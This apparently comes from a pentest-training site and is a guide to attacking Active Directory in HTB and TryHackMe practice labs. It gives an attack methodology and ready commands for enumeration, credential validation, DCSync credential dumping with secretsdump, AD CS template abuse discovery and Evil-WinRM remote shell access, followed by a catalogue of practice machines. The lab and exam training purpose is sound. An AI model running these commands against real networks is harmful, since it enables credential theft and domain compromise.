Active Directory: practice machines and key commands

By Daniel Dayan ยท Updated

Active Directory is the identity backbone of most Windows networks, and attacking it is the core of many labs and exams. The usual flow is to get any valid domain credential, enumerate users, groups, computers, ACLs and certificate templates, then chain misconfigurations toward Domain Admin. BloodHound turns that enumeration into a graph so you can see the shortest path, for example a user with GenericAll over a group that can reset a service account password. Common stepping stones are Kerberoasting, AS-REP roasting, password reuse, ACL abuse, delegation and weak AD CS templates. Finish with DCSync or a dump of NTDS.dit to prove impact. Always note which account you hold and what it can touch, because AD paths are about relationships rather than single exploits. The machines below use these ideas in practice.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

SharpHound AD Collector Execution

Collect all Active Directory objects, trusts, ACLs, and sessions into zip archive.

.\SharpHound.exe -c All,GPOLocalGroup --zipfilename htb_ad.zip

PowerView Domain & User Recon

Import PowerView and list domain controllers, domain users, and admin groups.

powershell -ep bypass
Import-Module .\PowerView.ps1
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
Get-DomainGroupMember -Identity "Domain Admins"

NetExec / CrackMapExec Domain Sweep

Check SMB credentials validity, local admin status (Pwn3d!), and password policies.

nxc smb {TARGET_IP} -u {USER} -p "{PASSWORD}" --shares

Impacket SecretsDump (NTDS.dit & SAM Dumps)

DCSync entire domain credentials directly over RPC using domain admin account.

impacket-secretsdump {DOMAIN}/{USER}:{PASSWORD}@{TARGET_IP} -just-dc-ntlm

Certipy AD CS Vulnerable Template Enumeration

Find vulnerable Active Directory Certificate Services templates (ESC1-ESC13).

certipy find -u {USER}@{DOMAIN} -p "{PASSWORD}" -dc-ip {TARGET_IP} -vulnerable -stdout

Evil-WinRM Remote PowerShell Access

Connect to Windows target over WinRM port 5985 with credentials or Pass-The-Hash.

evil-winrm -i {TARGET_IP} -u {USER} -p "{PASSWORD}" -s /opt/scripts

Keep going

Active Directory machines (21)

20 Windows, 1 Linux.

Listed when a machine has a catalog tag that is one of: active directory, activedirectory, ad, bloodhound, sharphound, domain admin, domain controller, dcsync, gpo, gpo abuse, laps, powerview, neo4j, tier model, ad cs, adcs, esc1, certipy, secretsdump. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row.

Active Directory at a glance

Easy (4)

MachinePlatformOSTags
EscapeTwo IppSecActive DirectoryGPO-AbuseLAPSMSSQL-Linked-ServerHTBWindowsActive Directory, GPO-Abuse, LAPS, MSSQL-Linked-Server
Forest IppSecActive DirectoryBloodHoundDCSyncAS-REP RoastingHTBWindowsActive Directory, BloodHound, DCSync, AS-REP Roasting
Sauna IppSecActive DirectoryBloodHoundAS-REP RoastingDCSyncHTBWindowsActive Directory, BloodHound, AS-REP Roasting, DCSync
VulnNet: RoastedActive DirectoryGPOKerberosAS-REP RoastingTHMWindowsActive Directory, GPO, Kerberos, AS-REP Roasting

Medium (11)

MachinePlatformOSTags
Administrator IppSecActive DirectoryAD CSBloodHoundGolden-CertHTBWindowsActive Directory, AD CS, BloodHound, Golden-Cert
Attacktive DirectoryActive DirectorySecretsdumpKerberosAS-REP RoastingTHMWindowsActive Directory, Secretsdump, Kerberos, AS-REP Roasting
Cascade IppSecActive DirectoryAD Recycle BinAES-EncryptionLDAPHTBWindowsActive Directory, AD Recycle Bin, AES-Encryption, LDAP
Intelligence IppSecAD CSActive DirectoryBloodHoundCertipyHTBWindowsAD CS, Active Directory, BloodHound, Certipy, ESC1, ADIDNS-abuse
Manager IppSecActive DirectoryAD CSCertipyMSSQLHTBWindowsActive Directory, AD CS, Certipy, MSSQL
Monteverde IppSecActive DirectoryBloodHoundAzure AD ConnectMSOLHTBWindowsActive Directory, BloodHound, Azure AD Connect, MSOL
Only4YouNeo4jCypher InjectionPivotingPipHTBLinuxNeo4j, Cypher Injection, Pivoting, Pip
Querier IppSecPowerViewExcel-macrosHTBWindowsPowerView, Excel-macros
Resolute IppSecActive DirectoryDLL InjectionDNSAdminsPassword-SprayingHTBWindowsActive Directory, DLL Injection, DNSAdmins, Password-Spraying
Scrambled IppSecActive DirectoryDeserializationKerberoastingKerberosHTBWindowsActive Directory, Deserialization, Kerberoasting, Kerberos
VulnNet: Active (Retired)Active DirectoryBloodHoundRedisGPP-PasswordsTHMWindowsActive Directory, BloodHound, Redis, GPP-Passwords

Hard (5)

MachinePlatformOSTags
Blackfield IppSecActive DirectoryBloodHoundAS-REP RoastingAnonymous-/-GuestHTBWindowsActive Directory, BloodHound, AS-REP Roasting, Anonymous-/-Guest
EnterpriseActive DirectoryBloodHoundZeroLogonSQLiTHMWindowsActive Directory, BloodHound, ZeroLogon, SQLi
FlightActive DirectoryAD CSBloodHoundPivotingHTBWindowsActive Directory, AD CS, BloodHound, Pivoting
LedgerActive DirectoryTHMWindowsActive Directory
ResetActive DirectoryTHMWindowsActive Directory

Insane (1)

MachinePlatformOSTags
Sizzle IppSecDCSyncKerberoastingPasswordless-loginStealing-hashesHTBWindowsDCSync, Kerberoasting, Passwordless-login, Stealing-hashes

Related techniques

Related guides: HTB Pro Labs guide, HTB CPTS exam guide, TJ Null OSCP list, OSCP exam scoring and time budget.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.